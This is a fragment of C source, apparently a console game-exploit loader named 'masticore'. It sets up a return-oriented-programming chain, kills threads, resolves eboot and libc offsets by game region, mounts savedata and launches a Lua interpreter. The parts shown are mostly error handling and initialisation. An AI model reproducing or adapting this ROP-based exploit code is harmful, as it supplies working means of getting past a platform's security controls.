call_rop(sceKernelClose, 0, fd); if (bytes_read > 0) { log_buffer[bytes_read] = '\0'; send_notification("Log saved to /av_contents/content_tmp/lua_log.txt"); show_dialog(log_buffer); } else { send_notification("Could not read error log"); } } else { send_notification("Could not open error log"); } } else if (exec_status == 4) { send_notification("LUA_ERRMEM (Memory allocation error)"); } else if (exec_status == 5) { send_notification("LUA_ERRERR (Error in error handler)"); } else { send_notification("Lua execution failed"); } } else { send_notification("Lua execution finished"); } } // ============================================================================ int main() { detect_region(); kill_threads(); init_eboot_offsets(); init_libc_offsets(); setup_rop(); init_function_offsets(); init_fios_offsets(); send_notification("masticore initialized"); if (is_region_usa == 1) { send_notification("USA version detected"); } else { send_notification("EU version detected"); } get_userid(); if (mount_savedata_readonly() == -1) { send_notification("Fatal error aborting..."); return -1; } initialize_lua(); }